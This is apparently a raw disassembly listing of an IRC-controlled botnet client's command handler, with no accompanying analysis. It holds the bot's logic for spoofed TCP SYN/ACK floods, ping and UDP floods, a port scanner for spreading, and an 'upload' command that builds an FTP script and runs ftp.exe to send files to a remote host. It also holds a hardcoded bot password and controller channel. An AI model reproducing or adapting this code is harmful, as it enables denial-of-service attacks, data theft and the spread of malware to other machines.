loc_40ED73:				; CODE XREF: sub_409806+554Ej
		push	eax
		push	offset aMainNoUserLogg ; "[MAIN]: No user logged in at slot: %d."
		jmp	short loc_40EDDF
; ---------------------------------------------------------------------------


loc_40ED7B:				; CODE XREF: sub_409806+5539j
					; sub_409806+553Ej
		push	eax
		push	offset aMainInvalidLog ; "[MAIN]: Invalid login	slot number: %d."
		jmp	short loc_40EDDF
; ---------------------------------------------------------------------------


loc_40ED83:				; CODE XREF: sub_409806+552Ej
		mov	edx, [ebp+arg_18]
		xor	edi, edi


loc_40ED88:				; CODE XREF: sub_409806+55BFj
		mov	esi, [ebp+var_A4]
		mov	eax, edx


loc_40ED90:				; CODE XREF: sub_409806+55A6j
		mov	bl, [eax]
		mov	cl, bl
		cmp	bl, [esi]
		jnz	short loc_40EDB2
		test	cl, cl
		jz	short loc_40EDAE
		mov	bl, [eax+1]
		mov	cl, bl
		cmp	bl, [esi+1]
		jnz	short loc_40EDB2
		inc	eax
		inc	eax
		inc	esi
		inc	esi
		test	cl, cl
		jnz	short loc_40ED90


loc_40EDAE:				; CODE XREF: sub_409806+5594j
		xor	eax, eax
		jmp	short loc_40EDB7
; ---------------------------------------------------------------------------


loc_40EDB2:				; CODE XREF: sub_409806+5590j
					; sub_409806+559Ej
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_40EDB7:				; CODE XREF: sub_409806+55AAj
		test	eax, eax
		jz	short loc_40EDC9
		inc	edi
		add	edx, 80h
		cmp	edi, 2
		jl	short loc_40ED88
		jmp	short loc_40EDEE
; ---------------------------------------------------------------------------


loc_40EDC9:				; CODE XREF: sub_409806+55B3j
		mov	eax, [ebp+arg_18]
		shl	edi, 7
		and	byte ptr [edi+eax], 0
		lea	eax, [ebp+var_F0]
		push	eax
		push	offset aMainUserSLogge ; "[MAIN]: User %s logged out."


loc_40EDDF:				; CODE XREF: sub_409806+1CBBj
					; sub_409806+1CE9j ...
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_416905
		add	esp, 0Ch


loc_40EDEE:				; CODE XREF: sub_409806+1C93j
					; sub_409806+1CAAj ...
		cmp	[ebp+var_C], 0
		jnz	short loc_40EE11
		push	0


loc_40EDF6:				; CODE XREF: sub_409806+59EAj
					; sub_409806+5DD0j
		push	[ebp+var_4]
		lea	eax, [ebp+var_2F0]
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]


loc_40EE09:				; CODE XREF: sub_409806+2C4Cj
					; sub_409806+2E5Cj ...
		call	sub_405D20
		add	esp, 14h


loc_40EE11:				; CODE XREF: sub_409806+11B7j
					; sub_409806+2C36j ...
		xor	esi, esi
		inc	esi
		jmp	loc_40AEF5
; ---------------------------------------------------------------------------


loc_40EE19:				; CODE XREF: sub_409806+D40j
					; sub_409806+D54j
		mov	edi, [ebp+var_A0]
		push	4
		mov	esi, offset dword_42A8E8
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40AC59
		call	sub_413827


loc_40EE36:				; CODE XREF: sub_409806+4F04j
		push	0
		call	dword_422040	; ExitProcess


loc_40EE3E:				; CODE XREF: sub_409806+153Bj
		push	8
		mov	edi, eax
		mov	esi, offset aHttpcon ; "httpcon"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40EFF5
		push	5
		mov	edi, eax
		mov	esi, offset aHcon ; "hcon"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40EFF5
		cmp	[ebp+ebx+var_90], edx
		jz	loc_409A84
		mov	edi, eax
		push	7
		mov	esi, offset aUpload ; "upload"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	loc_40F8C3
		mov	edi, [ebp+ebx+var_90]
		push	4
		push	edi
		call	sub_403148
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_40EEB6
		push	edi
		push	offset aFtpFileNotFoun ; "[FTP]: File not found: %s."


loc_40EEA2:				; CODE XREF: sub_409806+4269j
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_416905
		add	esp, 0Ch
		jmp	loc_40D18A
; ---------------------------------------------------------------------------


loc_40EEB6:				; CODE XREF: sub_409806+5694j
		call	dword_42201C	; GetTickCount
		push	eax
		call	sub_41698D
		pop	ecx
		call	sub_41699A
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41699A
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41699A
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp+var_1DF0]
		push	edx
		push	eax
		lea	eax, [ebp+var_154C]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax
		call	sub_416905
		lea	eax, [ebp+var_154C]
		push	offset aAb	; "ab"
		push	eax
		call	sub_41719C
		add	esp, 20h
		test	eax, eax
		mov	[ebp+var_1C], eax
		jz	loc_409A84
		mov	esi, [ebp+ebx+var_A0]
		push	edi
		push	[ebp+arg_0]
		push	[ebp+ebx+var_98]
		push	[ebp+ebx+var_9C]
		push	esi
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax
		call	sub_417834
		push	[ebp+var_1C]
		call	sub_416E0D
		lea	eax, [ebp+var_154C]
		push	eax
		lea	eax, [ebp+var_848]
		push	offset aSS_4	; "-s:%s"
		push	eax
		call	sub_416905
		add	esp, 2Ch
		xor	eax, eax
		push	eax
		push	eax
		lea	ecx, [ebp+var_848]
		push	ecx
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen	; "open"
		push	eax
		call	dword_43A4AC	; ShellExecuteA
		test	eax, eax
		push	esi
		push	edi
		jz	short loc_40EF91
		push	offset aFtpUploadingFi ; "[FTP]: Uploading file: %s to:	%s"
		jmp	short loc_40EF96
; ---------------------------------------------------------------------------


loc_40EF91:				; CODE XREF: sub_409806+5782j
		push	offset aFtpUploading_0 ; "[FTP]: Uploading file: %s to:	%s failed"...


loc_40EF96:				; CODE XREF: sub_409806+5789j
		call	sub_416905
		add	esp, 0Ch
		cmp	[ebp+var_C], 0
		jnz	short loc_40EFC1
		push	0
		push	[ebp+var_4]
		lea	eax, [ebp+var_2F0]
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_405D20
		add	esp, 14h


loc_40EFC1:				; CODE XREF: sub_409806+579Cj
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_401ECD
		jmp	short loc_40EFDB
; ---------------------------------------------------------------------------


loc_40EFCF:				; CODE XREF: sub_409806+57E8j
		lea	eax, [ebp+var_154C]
		push	eax
		call	sub_418005


loc_40EFDB:				; CODE XREF: sub_409806+57C7j
		lea	eax, [ebp+var_154C]
		push	4
		push	eax
		call	sub_403148
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40EFCF
		jmp	loc_409A84
; ---------------------------------------------------------------------------


loc_40EFF5:				; CODE XREF: sub_409806+5646j
					; sub_409806+565Aj
		push	[ebp+ebx+var_90]
		push	[ebp+arg_0]
		push	[ebp+ebx+var_98]
		push	[ebp+ebx+var_9C]
		call	sub_416C92
		pop	ecx
		push	eax
		push	[ebp+ebx+var_A0]
		push	[ebp+var_C]
		push	[ebp+var_4]
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_404FFA
		jmp	loc_40F8C0
; ---------------------------------------------------------------------------


loc_40F034:				; CODE XREF: sub_409806+1513j
					; sub_409806+1527j
		push	[ebp+ebx+var_A0]
		lea	eax, [ebp+var_1120]
		push	80h
		push	eax
		call	sub_416B5D
		add	esp, 0Ch
		push	4
		lea	edi, [ebp+var_1120]
		mov	esi, offset aSyn ; "syn"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jz	short loc_40F095
		push	4
		lea	edi, [ebp+var_1120]
		mov	esi, offset aAck ; "ack"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jz	short loc_40F095
		push	7
		lea	edi, [ebp+var_1120]
		mov	esi, offset aRandom_0 ;	"random"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jz	short loc_40F095
		push	offset aTcpInvalidFloo ; "[TCP]: Invalid flood type specified."
		jmp	loc_40F1D6
; ---------------------------------------------------------------------------


loc_40F095:				; CODE XREF: sub_409806+585Bj
					; sub_409806+586Fj ...
		push	[ebp+arg_0]
		call	sub_416C92
		test	eax, eax
		pop	ecx
		mov	[ebp+var_1018],	eax
		jle	loc_40F1D1
		mov	eax, [ebp+ebx+var_A0]
		push	eax
		mov	[ebp+var_8], eax
		mov	esi, 80h
		lea	eax, [ebp+var_1120]
		push	esi
		push	eax
		call	sub_416B5D
		mov	edi, [ebp+ebx+var_9C]
		push	edi
		lea	eax, [ebp+var_11A0]
		push	esi
		push	eax
		call	sub_416B5D
		mov	ebx, [ebp+ebx+var_98]
		push	ebx
		call	sub_416C92
		push	[ebp+var_9C]
		mov	[ebp+var_101C],	eax
		xor	eax, eax
		cmp	byte ptr [ebp+var_380+2], al
		push	esi
		setnz	al
		mov	[ebp+var_1014],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_11A4],	eax
		lea	eax, [ebp+var_10A0]
		push	eax
		call	sub_416B5D
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1010],	eax
		mov	eax, [ebp+var_C]
		add	esp, 28h
		cmp	[ebp+var_1014],	0
		mov	[ebp+var_100C],	eax
		mov	eax, offset aSpoofed ; "Spoofed"
		jnz	short loc_40F146
		mov	eax, offset aNormal ; "Normal"


loc_40F146:				; CODE XREF: sub_409806+5939j
		push	[ebp+arg_0]
		push	ebx
		push	edi
		push	[ebp+var_8]
		push	eax
		push	offset aTcpSSFloodingS ; "[TCP]: %s %s flooding: (%s:%s) for %s	s"...
		lea	eax, [ebp+var_2F0]
		push	200h
		push	eax
		call	sub_416B5D
		xor	esi, esi
		push	esi
		lea	eax, [ebp+var_2F0]
		push	0Dh
		push	eax
		call	sub_4136B6
		add	esp, 2Ch
		mov	[ebp+var_1020],	eax
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		lea	eax, [ebp+var_11A4]
		push	eax
		push	offset sub_412E0B
		push	esi
		push	esi
		call	dword_422008	; CreateThread
		mov	ecx, [ebp+var_1020]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_43B254[ecx], eax
		jnz	short loc_40F1C7
		call	dword_422004	; RtlGetLastWin32Error
		push	eax
		push	offset aTcpFailedToSta ; "[TCP]: Failed	to start flood thread, er"...
		jmp	loc_40F84D
; ---------------------------------------------------------------------------


loc_40F1BF:				; CODE XREF: sub_409806+59C7j
		push	32h
		call	dword_422000	; Sleep


loc_40F1C7:				; CODE XREF: sub_409806+59A6j
		cmp	[ebp+var_1008],	esi
		jz	short loc_40F1BF
		jmp	short loc_40F1E6
; ---------------------------------------------------------------------------


loc_40F1D1:				; CODE XREF: sub_409806+58A0j
		push	offset aTcpInvalidFl_0 ; "[TCP]: Invalid flood time must be great"...


loc_40F1D6:				; CODE XREF: sub_409806+588Aj
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_416905
		pop	ecx
		pop	ecx


loc_40F1E4:				; CODE XREF: sub_409806+5B24j
		xor	esi, esi


loc_40F1E6:				; CODE XREF: sub_409806+46D3j
					; sub_409806+59C9j ...
		cmp	[ebp+var_C], esi
		jnz	loc_40EE11
		push	esi
		jmp	loc_40EDF6
; ---------------------------------------------------------------------------


loc_40F1F5:				; CODE XREF: sub_409806+14D7j
					; sub_409806+14EBj ...
		cmp	dword_43A528, 0
		jnz	loc_40F311
		mov	eax, [ebp+var_C]
		mov	[ebp+var_610], eax
		mov	eax, [ebp+var_4]
		push	7Fh
		push	[ebp+ebx+var_A0]
		mov	[ebp+var_614], eax
		lea	eax, [ebp+var_6A8]
		push	eax
		call	sub_4169C0
		push	[ebp+ebx+var_9C]
		call	sub_416C92
		push	[ebp+ebx+var_98]
		mov	[ebp+var_628], eax
		call	sub_416C92
		push	[ebp+arg_0]
		mov	[ebp+var_624], eax
		call	sub_416C92
		push	7Fh
		push	[ebp+var_9C]
		mov	[ebp+var_620], eax
		lea	eax, [ebp+var_728]
		push	eax
		call	sub_4169C0
		push	[ebp+var_620]
		mov	eax, [ebp+arg_4]
		push	[ebp+var_624]
		mov	[ebp+var_72C], eax
		lea	eax, [ebp+var_6A8]
		push	eax
		push	[ebp+var_628]
		lea	eax, [ebp+var_2F0]
		push	offset aPingSendingDPi ; "[PING]: Sending %d pings to %s. packet "...
		push	eax
		call	sub_416905
		xor	esi, esi
		push	esi
		lea	eax, [ebp+var_2F0]
		push	0Fh
		push	eax
		call	sub_4136B6
		add	esp, 48h
		mov	[ebp+var_618], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		lea	eax, [ebp+var_72C]
		push	eax
		push	offset sub_4088F8
		push	esi
		push	esi
		call	dword_422008	; CreateThread
		mov	ecx, [ebp+var_618]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_43B254[ecx], eax
		jnz	short loc_40F304
		call	dword_422004	; RtlGetLastWin32Error
		push	eax
		push	offset aPingFailedToSt ; "[PING]: Failed to start flood	thread,	e"...
		jmp	loc_40F84D
; ---------------------------------------------------------------------------


loc_40F2FC:				; CODE XREF: sub_409806+5B04j
		push	32h
		call	dword_422000	; Sleep


loc_40F304:				; CODE XREF: sub_409806+5AE3j
		cmp	[ebp+var_60C], esi
		jz	short loc_40F2FC
		jmp	loc_40F1E6
; ---------------------------------------------------------------------------


loc_40F311:				; CODE XREF: sub_409806+59F6j
		push	1FFh
		lea	eax, [ebp+var_2F0]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax
		call	sub_4169C0
		add	esp, 0Ch
		jmp	loc_40F1E4
; ---------------------------------------------------------------------------


loc_40F32F:				; CODE XREF: sub_409806+149Bj
					; sub_409806+14AFj ...
		mov	eax, [ebp+var_C]
		mov	edi, [ebp+var_4]
		push	7Fh
		push	[ebp+ebx+var_A0]
		mov	[ebp+var_610], eax
		lea	eax, [ebp+var_6A8]
		push	eax
		mov	[ebp+var_614], edi
		call	sub_4169C0
		push	[ebp+ebx+var_9C]
		call	sub_416C92
		push	[ebp+ebx+var_98]
		mov	[ebp+var_628], eax
		call	sub_416C92
		push	[ebp+arg_0]
		mov	[ebp+var_624], eax
		call	sub_416C92
		mov	ebx, [ebp+ebx+var_90]
		xor	esi, esi
		add	esp, 18h
		cmp	ebx, esi
		mov	[ebp+var_620], eax
		jz	short loc_40F3A7
		push	ebx
		call	sub_416C92
		pop	ecx
		mov	[ebp+var_61C], eax
		jmp	short loc_40F3AD
; ---------------------------------------------------------------------------


loc_40F3A7:				; CODE XREF: sub_409806+5B90j
		mov	[ebp+var_61C], esi


loc_40F3AD:				; CODE XREF: sub_409806+5B9Fj
		push	7Fh
		push	[ebp+var_9C]
		lea	eax, [ebp+var_728]
		push	eax
		call	sub_4169C0
		push	[ebp+var_620]
		mov	ebx, [ebp+arg_4]
		push	[ebp+var_624]
		lea	eax, [ebp+var_6A8]
		push	eax
		push	[ebp+var_628]
		lea	eax, [ebp+var_2F0]
		push	offset aUdpSendingDPac ; "[UDP]: Sending %d packets to:	%s. Packe"...
		push	eax
		mov	[ebp+var_72C], ebx
		call	sub_416905
		push	esi
		lea	eax, [ebp+var_2F0]
		push	10h
		push	eax
		call	sub_4136B6
		add	esp, 30h
		mov	[ebp+var_618], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		lea	eax, [ebp+var_72C]
		push	eax
		push	offset sub_408A81
		push	esi
		push	esi
		call	dword_422008	; CreateThread
		mov	ecx, [ebp+var_618]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_43B254[ecx], eax
		jnz	short loc_40F46E
		call	dword_422004	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2F0]
		push	offset aUdpFailedToSta ; "[UDP]: Failed	to start flood thread, er"...
		push	eax
		call	sub_416905
		add	esp, 0Ch


loc_40F456:				; CODE XREF: sub_409806+5C70j
		cmp	[ebp+var_C], esi
		jnz	loc_40EE11
		push	esi
		push	edi
		jmp	loc_40C886
; ---------------------------------------------------------------------------


loc_40F466:				; CODE XREF: sub_409806+5C6Ej
		push	32h
		call	dword_422000	; Sleep


loc_40F46E:				; CODE XREF: sub_409806+5C33j
		cmp	[ebp+var_60C], esi
		jz	short loc_40F466
		jmp	short loc_40F456
; ---------------------------------------------------------------------------


loc_40F478:				; CODE XREF: sub_409806+1473j
					; sub_409806+1487j
		push	9
		call	sub_4138A6
		mov	esi, [ebp+ebx+var_9C]
		push	esi
		mov	edi, eax
		call	sub_416C92
		add	eax, edi
		cmp	eax, 258h
		pop	ecx
		pop	ecx
		jle	short loc_40F4CA
		push	edi
		lea	eax, [ebp+var_2F0]
		push	offset aScanAlreadyDSc ; "[SCAN]: Already %d scanning threads. To"...
		push	eax
		call	sub_416905
		push	0
		push	[ebp+var_4]
		lea	eax, [ebp+var_2F0]
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_405D20
		jmp	loc_40D143
; ---------------------------------------------------------------------------


loc_40F4CA:				; CODE XREF: sub_409806+5C91j
		push	[ebp+ebx+var_A0]
		call	sub_416C92
		push	esi
		mov	[ebp+var_4F4], eax
		call	sub_416C92
		push	[ebp+ebx+var_98]
		mov	[ebp+var_4DC], eax
		call	sub_416C92
		add	esp, 0Ch
		cmp	eax, 5
		mov	[ebp+var_4F0], eax
		jnb	short loc_40F50B
		push	5
		pop	eax
		mov	[ebp+var_4F0], eax


loc_40F50B:				; CODE XREF: sub_409806+5CFAj
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_40F518
		mov	[ebp+var_4F0], ecx


loc_40F518:				; CODE XREF: sub_409806+5D0Aj
		push	[ebp+arg_0]
		call	sub_416C92
		mov	[ebp+var_4EC], eax
		mov	eax, 320h
		cmp	[ebp+var_4EC], eax
		pop	ecx
		jbe	short loc_40F53A
		mov	[ebp+var_4EC], eax


loc_40F53A:				; CODE XREF: sub_409806+5D2Cj
		or	[ebp+var_4D8], 0FFFFFFFFh
		xor	edi, edi
		cmp	dword_42E068, edi
		mov	[ebp+var_10], edi
		jz	short loc_40F5B1
		mov	ecx, offset dword_42E068


loc_40F553:				; CODE XREF: sub_409806+5D8Bj
		mov	edi, [ebp+ebx+var_A0]
		lea	esi, [ecx-28h]


loc_40F55D:				; CODE XREF: sub_409806+5D73j
		mov	dl, [esi]
		mov	al, dl
		cmp	dl, [edi]
		jnz	short loc_40F57F
		test	al, al
		jz	short loc_40F57B
		mov	dl, [esi+1]
		mov	al, dl
		cmp	dl, [edi+1]
		jnz	short loc_40F57F
		inc	esi
		inc	esi
		inc	edi
		inc	edi
		test	al, al
		jnz	short loc_40F55D


loc_40F57B:				; CODE XREF: sub_409806+5D61j
		xor	eax, eax
		jmp	short loc_40F584
; ---------------------------------------------------------------------------


loc_40F57F:				; CODE XREF: sub_409806+5D5Dj
					; sub_409806+5D6Bj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_40F584:				; CODE XREF: sub_409806+5D77j
		test	eax, eax
		jz	short loc_40F595
		inc	[ebp+var_10]
		add	ecx, 3Ch
		cmp	dword ptr [ecx], 0
		jnz	short loc_40F553
		jmp	short loc_40F5AF
; ---------------------------------------------------------------------------


loc_40F595:				; CODE XREF: sub_409806+5D80j
		mov	eax, [ebp+var_10]
		mov	ecx, eax
		imul	ecx, 3Ch
		mov	ecx, dword_42E068[ecx]
		mov	[ebp+var_4F4], ecx
		mov	[ebp+var_4D8], eax


loc_40F5AF:				; CODE XREF: sub_409806+5D8Dj
		xor	edi, edi


loc_40F5B1:				; CODE XREF: sub_409806+5D46j
		cmp	[ebp+var_4F4], edi
		jnz	short loc_40F5DB
		push	offset aScanFailedTo_1 ; "[SCAN]: Failed to start scan,	port is	i"...


loc_40F5BE:				; CODE XREF: sub_409806+5E3Cj
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_416905


loc_40F5CA:				; CODE XREF: sub_409806+479Fj
		pop	ecx
		pop	ecx


loc_40F5CC:				; CODE XREF: sub_409806+48BDj
					; sub_409806+48D2j
		cmp	[ebp+var_C], edi
		jnz	loc_40EE11
		push	edi
		jmp	loc_40EDF6
; ---------------------------------------------------------------------------


loc_40F5DB:				; CODE XREF: sub_409806+5DB1j
		mov	esi, [ebp+ebx+var_90]
		cmp	esi, edi
		mov	[ebp+var_1C], esi
		jz	short loc_40F619
		cmp	byte ptr [esi],	23h
		jz	short loc_40F619
		push	esi
		lea	eax, [ebp+var_608]
		push	10h
		push	eax
		call	sub_416B5D
		push	78h
		push	esi
		call	sub_417E10
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_4C8], eax
		jmp	loc_40F72E
; ---------------------------------------------------------------------------


loc_40F619:				; CODE XREF: sub_409806+5DE1j
					; sub_409806+5DE6j
		cmp	[ebp+var_38F], 0
		jnz	short loc_40F647
		cmp	[ebp+var_38E], 0
		jnz	short loc_40F647
		cmp	byte ptr [ebp+var_380+2], 0
		jnz	short loc_40F647
		cmp	byte ptr [ebp+var_380+1], 0
		jnz	short loc_40F647
		push	offset aScanFailedTo_2 ; "[SCAN]: Failed to start scan,	no IP spe"...
		jmp	loc_40F5BE
; ---------------------------------------------------------------------------


loc_40F647:				; CODE XREF: sub_409806+5E1Aj
					; sub_409806+5E23j ...
		push	10h
		pop	esi
		lea	eax, [ebp+var_BC]
		push	eax
		lea	eax, [ebp+var_D8]
		push	eax
		push	[ebp+arg_4]
		mov	[ebp+var_BC], esi
		call	dword_43A308	; getsockname
		mov	al, [ebp+var_38F]
		neg	al
		push	esi
		sbb	eax, eax
		and	eax, 0FFFF0100h
		add	eax, 0FFFFh
		and	[ebp+var_D4], eax
		push	[ebp+var_D4]
		call	dword_43A420	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_608]
		push	eax
		call	sub_4169C0
		add	esp, 0Ch
		cmp	byte ptr [ebp+var_380+2], 0
		jz	short loc_40F6FC
		xor	eax, eax
		cmp	[ebp+var_38F], al
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	esi, eax
		lea	eax, [ebp+var_608]
		push	eax
		call	sub_416960
		and	byte ptr [ebp+arg_0+3],	0
		cmp	esi, edi
		pop	ecx
		pop	ecx
		jle	short loc_40F6F0


loc_40F6CE:				; CODE XREF: sub_409806+5EE8j
		cmp	eax, edi
		jz	short loc_40F6F0
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_608]
		push	30h
		push	eax
		call	sub_416960
		inc	byte ptr [ebp+arg_0+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_0+3]
		cmp	ecx, esi
		jl	short loc_40F6CE


loc_40F6F0:				; CODE XREF: sub_409806+5EC6j
					; sub_409806+5ECAj
		mov	[ebp+var_4C8], 1
		jmp	short loc_40F702
; ---------------------------------------------------------------------------


loc_40F6FC:				; CODE XREF: sub_409806+5E9Fj
		mov	[ebp+var_4C8], edi


loc_40F702:				; CODE XREF: sub_409806+5EF4j
		cmp	byte ptr [ebp+var_380+1], 0
		jz	short loc_40F72E
		push	edi
		push	9
		push	offset aStoppingPrevio ; "Stopping previous scans"
		push	offset aScan_0	; "[SCAN]"
		push	1
		push	[ebp+var_4]
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_4138EC
		add	esp, 20h


loc_40F72E:				; CODE XREF: sub_409806+5E0Ej
					; sub_409806+5F03j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_9C]
		mov	[ebp+var_4F8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_4D0], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_4CC], eax
		mov	esi, 80h
		lea	eax, [ebp+var_5F8]
		push	esi
		push	eax
		call	sub_416B5D
		mov	ebx, [ebp+ebx+var_8C]
		add	esp, 0Ch
		cmp	ebx, edi
		jz	short loc_40F782
		push	ebx


loc_40F770:				; CODE XREF: sub_409806+5F89j
		push	esi


loc_40F771:				; CODE XREF: sub_409806+5FA6j
		lea	eax, [ebp+var_578]
		push	eax
		call	sub_416B5D
		add	esp, 0Ch
		jmp	short loc_40F7B5
; ---------------------------------------------------------------------------


loc_40F782:				; CODE XREF: sub_409806+5F67j
		mov	eax, [ebp+var_1C]
		cmp	eax, edi
		jz	short loc_40F791
		cmp	byte ptr [eax],	23h
		jnz	short loc_40F791
		push	eax
		jmp	short loc_40F770
; ---------------------------------------------------------------------------


loc_40F791:				; CODE XREF: sub_409806+5F81j
					; sub_409806+5F86j
		xor	ecx, ecx
		mov	eax, offset aMurders ; "#murders"
		inc	ecx
		mov	edi, 422B0Ah
		mov	esi, eax
		xor	edx, edx
		repe cmpsb
		jz	short loc_40F7AE
		push	eax
		push	80h
		jmp	short loc_40F771
; ---------------------------------------------------------------------------


loc_40F7AE:				; CODE XREF: sub_409806+5F9Ej
		and	[ebp+var_578], 0


loc_40F7B5:				; CODE XREF: sub_409806+5F7Aj
		xor	esi, esi
		cmp	[ebp+var_4C8], esi
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_40F7C9
		mov	eax, offset aSequential	; "Sequential"


loc_40F7C9:				; CODE XREF: sub_409806+5FBCj
		push	[ebp+var_4DC]
		lea	ecx, [ebp+var_608]
		push	[ebp+var_4EC]
		push	[ebp+var_4F0]
		push	[ebp+var_4F4]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2F0]
		push	offset aScanSPortScanS ; "[SCAN]: %s Port Scan started on %s:%d	w"...
		push	eax
		call	sub_416905
		push	esi
		lea	eax, [ebp+var_2F0]
		push	9
		push	eax
		call	sub_4136B6
		add	esp, 2Ch
		mov	[ebp+var_4E8], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		lea	eax, [ebp+var_608]
		push	eax
		push	offset sub_401B65
		push	esi
		push	esi
		call	dword_422008	; CreateThread
		mov	ecx, [ebp+var_4E8]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_43B254[ecx], eax
		jnz	short loc_40F869
		call	dword_422004	; RtlGetLastWin32Error
		push	eax
		push	offset aScanFailedTo_0 ; "[SCAN]: Failed to start scan thread, er"...


loc_40F84D:				; CODE XREF: sub_409806+59B4j
					; sub_409806+5AF1j
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_416905
		add	esp, 0Ch
		jmp	loc_40F1E6
; ---------------------------------------------------------------------------


loc_40F861:				; CODE XREF: sub_409806+6069j
		push	32h
		call	dword_422000	; Sleep


loc_40F869:				; CODE XREF: sub_409806+6039j
		cmp	[ebp+var_4C4], esi
		jz	short loc_40F861
		jmp	loc_40F1E6
; ---------------------------------------------------------------------------


loc_40F876:				; CODE XREF: sub_409806+D18j
					; sub_409806+D2Cj
		push	[ebp+ebx+var_A0]
		xor	eax, eax
		cmp	byte ptr [ebp+var_380],	al
		setnz	al
		push	eax
		push	dword_42FCDC
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_411098
		lea	eax, [ebp+var_4BC]
		push	eax
		push	offset aNickS_0	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_405CD5
		lea	eax, [ebp+var_4BC]
		push	eax
		push	offset aMainRandomNick ; "[MAIN]: Random nick change: %s"
		call	sub_401F41


loc_40F8C0:				; CODE XREF: sub_409806+5829j
		add	esp, 24h


loc_40F8C3:				; CODE XREF: sub_409806+738j
					; sub_409806+744j ...
		mov	eax, [ebp+arg_24]
		jmp	loc_409A87
; ---------------------------------------------------------------------------


loc_40F8CB:				; CODE XREF: sub_409806+7C5j
					; sub_409806+7D9j
		mov	ebx, [ebp+ebx+var_A0]
		test	ebx, ebx
		mov	[ebp+var_8], ebx
		jz	loc_409A84
		cmp	[ebp+var_1C], 0
		jnz	loc_409A84
		push	offset asc_42A9BC ; "!"
		push	[ebp+var_A4]
		call	sub_417779
		mov	esi, eax
		push	offset dword_428738
		push	0
		inc	esi
		call	sub_417779
		push	offset asc_428734 ; "~"
		push	eax
		call	sub_417779
		mov	edi, [ebp+var_8]
		mov	ebx, eax
		add	esp, 18h
		mov	eax, offset aN3m3s1s ; "n3m3s1s"


loc_40F91E:				; CODE XREF: sub_409806+6134j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [edi]
		jnz	short loc_40F940
		test	cl, cl
		jz	short loc_40F93C
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [edi+1]
		jnz	short loc_40F940
		inc	eax
		inc	eax
		inc	edi
		inc	edi
		test	cl, cl
		jnz	short loc_40F91E


loc_40F93C:				; CODE XREF: sub_409806+6122j
		xor	eax, eax
		jmp	short loc_40F945
; ---------------------------------------------------------------------------


loc_40F940:				; CODE XREF: sub_409806+611Ej
					; sub_409806+612Cj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_40F945:				; CODE XREF: sub_409806+6138j
		test	eax, eax
		jz	short loc_40F994
		push	ebx
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		push	offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_405CD5
		lea	eax, [ebp+var_F0]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_405CD5
		push	ebx
		push	esi
		push	offset aMainFailedPass ; "[MAIN]: *Failed pass auth by:	(%s!%s)."


loc_40F980:				; CODE XREF: sub_409806+61E1j
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_416905
		add	esp, 30h
		jmp	loc_40EE11
; ---------------------------------------------------------------------------


loc_40F994:				; CODE XREF: sub_409806+6141j
		xor	edi, edi


